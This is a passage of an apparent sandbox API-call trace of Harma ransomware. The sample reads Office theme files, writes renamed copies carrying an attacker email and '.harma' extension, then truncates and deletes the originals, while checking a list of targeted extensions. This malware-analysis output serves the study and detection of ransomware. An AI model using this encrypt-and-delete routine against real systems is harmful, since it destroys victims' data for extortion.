lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.167] SetEndOfFile (hFile=0x20c) returned 1 [0147.696] CloseHandle (hObject=0x20c) returned 1 [0147.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 1 [0147.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.698] lstrlenW (lpString=".doc") returned 4 [0147.698] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0147.698] lstrlenW (lpString=".docx") returned 5 [0147.698] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0147.699] lstrlenW (lpString=".pdf") returned 4 [0147.699] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0147.699] lstrlenW (lpString=".xls") returned 4 [0147.699] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0147.699] lstrlenW (lpString=".xlsx") returned 5 [0147.699] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0147.699] lstrlenW (lpString=".ppt") returned 4 [0147.699] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0147.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.699] lstrlenW (lpString=".zip") returned 4 [0147.699] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0147.699] lstrlenW (lpString=".rar") returned 4 [0147.699] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0147.699] lstrlenW (lpString=".bz2") returned 4 [0147.699] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0147.699] lstrlenW (lpString=".7z") returned 3 [0147.699] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0147.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.699] lstrlenW (lpString=".dbf") returned 4 [0147.699] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0147.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.699] lstrlenW (lpString=".1cd") returned 4 [0147.699] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0147.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.699] lstrlenW (lpString=".jpg") returned 4 [0147.699] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0147.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.700] lstrlenW (lpString=".doc") returned 4 [0147.700] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0147.700] lstrlenW (lpString=".docx") returned 5 [0147.700] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0147.700] lstrlenW (lpString=".pdf") returned 4 [0147.700] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0147.700] lstrlenW (lpString=".xls") returned 4 [0147.700] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0147.700] lstrlenW (lpString=".xlsx") returned 5 [0147.700] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0147.700] lstrlenW (lpString=".ppt") returned 4 [0147.700] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0147.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.700] lstrlenW (lpString=".zip") returned 4 [0147.700] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0147.700] lstrlenW (lpString=".rar") returned 4 [0147.700] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0147.700] lstrlenW (lpString=".bz2") returned 4 [0147.700] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0147.700] lstrlenW (lpString=".7z") returned 3 [0147.700] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0147.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.700] lstrlenW (lpString=".dbf") returned 4 [0147.700] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0147.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.700] lstrlenW (lpString=".1cd") returned 4 [0147.701] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0147.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0147.701] lstrlenW (lpString=".jpg") returned 4 [0147.701] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0147.701] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0147.701] lstrlenW (lpString="Technic.eftx") returned 12 [0147.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0148.573] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=23692) returned 1 [0148.573] CloseHandle (hObject=0x20c) returned 1 [0148.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 0x20 [0148.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0148.575] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0148.575] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0148.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0148.575] GetLastError () returned 0x0 [0148.575] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x5c8c, lpOverlapped=0x0) returned 1 [0148.591] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x5c90, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x5c90, lpOverlapped=0x0) returned 1 [0148.592] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0148.592] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.592] SetEndOfFile (hFile=0x360) returned 1 [0148.592] CloseHandle (hObject=0x360) returned 1 [0148.593] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0148.593] SetEndOfFile (hFile=0x20c) returned 1 [0148.595] CloseHandle (hObject=0x20c) returned 1 [0148.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 1 [0148.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.597] lstrlenW (lpString=".doc") returned 4 [0148.597] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.597] lstrlenW (lpString=".docx") returned 5 [0148.597] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.597] lstrlenW (lpString=".pdf") returned 4 [0148.597] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.597] lstrlenW (lpString=".xls") returned 4 [0148.597] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.597] lstrlenW (lpString=".xlsx") returned 5 [0148.597] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.597] lstrlenW (lpString=".ppt") returned 4 [0148.597] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.597] lstrlenW (lpString=".zip") returned 4 [0148.597] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.597] lstrlenW (lpString=".rar") returned 4 [0148.597] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.597] lstrlenW (lpString=".bz2") returned 4 [0148.597] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.597] lstrlenW (lpString=".7z") returned 3 [0148.597] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.597] lstrlenW (lpString=".dbf") returned 4 [0148.597] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.597] lstrlenW (lpString=".1cd") returned 4 [0148.597] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.597] lstrlenW (lpString=".jpg") returned 4 [0148.597] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.598] lstrlenW (lpString=".doc") returned 4 [0148.598] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.598] lstrlenW (lpString=".docx") returned 5 [0148.598] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.598] lstrlenW (lpString=".pdf") returned 4 [0148.598] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.598] lstrlenW (lpString=".xls") returned 4 [0148.598] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.598] lstrlenW (lpString=".xlsx") returned 5 [0148.598] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.598] lstrlenW (lpString=".ppt") returned 4 [0148.598] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.598] lstrlenW (lpString=".zip") returned 4 [0148.598] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.598] lstrlenW (lpString=".rar") returned 4 [0148.598] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.598] lstrlenW (lpString=".bz2") returned 4 [0148.598] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.598] lstrlenW (lpString=".7z") returned 3 [0148.598] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.598] lstrlenW (lpString=".dbf") returned 4 [0148.598] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.598] lstrlenW (lpString=".1cd") returned 4 [0148.598] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0148.598] lstrlenW (lpString=".jpg") returned 4 [0148.598] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.599] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0148.599] lstrlenW (lpString="Verve.eftx") returned 10 [0148.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0148.600] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=31224) returned 1 [0148.600] CloseHandle (hObject=0x20c) returned 1 [0148.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 0x20 [0148.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0148.600] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0148.600] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0148.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0148.601] GetLastError () returned 0x0 [0148.601] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x79f8, lpOverlapped=0x0) returned 1 [0148.623] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x7a00, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x7a00, lpOverlapped=0x0) returned 1 [0148.624] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0148.624] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0148.624] SetEndOfFile (hFile=0x360) returned 1 [0148.624] CloseHandle (hObject=0x360) returned 1 [0148.624] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0148.624] SetEndOfFile (hFile=0x20c) returned 1 [0148.627] CloseHandle (hObject=0x20c) returned 1 [0148.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 1 [0148.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.628] lstrlenW (lpString=".doc") returned 4 [0148.628] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.628] lstrlenW (lpString=".docx") returned 5 [0148.628] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.628] lstrlenW (lpString=".pdf") returned 4 [0148.628] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.628] lstrlenW (lpString=".xls") returned 4 [0148.628] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.628] lstrlenW (lpString=".xlsx") returned 5 [0148.628] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.629] lstrlenW (lpString=".ppt") returned 4 [0148.629] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.629] lstrlenW (lpString=".zip") returned 4 [0148.629] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.629] lstrlenW (lpString=".rar") returned 4 [0148.629] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.629] lstrlenW (lpString=".bz2") returned 4 [0148.629] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.629] lstrlenW (lpString=".7z") returned 3 [0148.629] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.629] lstrlenW (lpString=".dbf") returned 4 [0148.629] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.629] lstrlenW (lpString=".1cd") returned 4 [0148.629] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.629] lstrlenW (lpString=".jpg") returned 4 [0148.629] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.629] lstrlenW (lpString=".doc") returned 4 [0148.629] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.629] lstrlenW (lpString=".docx") returned 5 [0148.629] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.629] lstrlenW (lpString=".pdf") returned 4 [0148.629] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.629] lstrlenW (lpString=".xls") returned 4 [0148.630] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.630] lstrlenW (lpString=".xlsx") returned 5 [0148.630] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.630] lstrlenW (lpString=".ppt") returned 4 [0148.630] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.630] lstrlenW (lpString=".zip") returned 4 [0148.630] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.630] lstrlenW (lpString=".rar") returned 4 [0148.630] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.630] lstrlenW (lpString=".bz2") returned 4 [0148.630] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.630] lstrlenW (lpString=".7z") returned 3 [0148.630] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.630] lstrlenW (lpString=".dbf") returned 4 [0148.630] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.630] lstrlenW (lpString=".1cd") returned 4 [0148.630] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0148.630] lstrlenW (lpString=".jpg") returned 4 [0148.630] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.630] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0148.630] lstrlenW (lpString="Waveform.eftx") returned 13 [0148.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0148.632] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=112504) returned 1 [0148.632] CloseHandle (hObject=0x20c) returned 1 [0148.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 0x20 [0148.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0148.632] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0148.632] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0148.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0148.633] GetLastError () returned 0x0 [0148.633] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x1b778, lpOverlapped=0x0) returned 1 [0148.651] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1b780, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x1b780, lpOverlapped=0x0) returned 1 [0148.655] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0148.655] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0148.655] SetEndOfFile (hFile=0x360) returned 1 [0148.869] CloseHandle (hObject=0x360) returned 1 [0148.869] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0148.869] SetEndOfFile (hFile=0x20c) returned 1 [0148.873] CloseHandle (hObject=0x20c) returned 1 [0148.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 1 [0148.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.874] lstrlenW (lpString=".doc") returned 4 [0148.874] lstrcmpiW 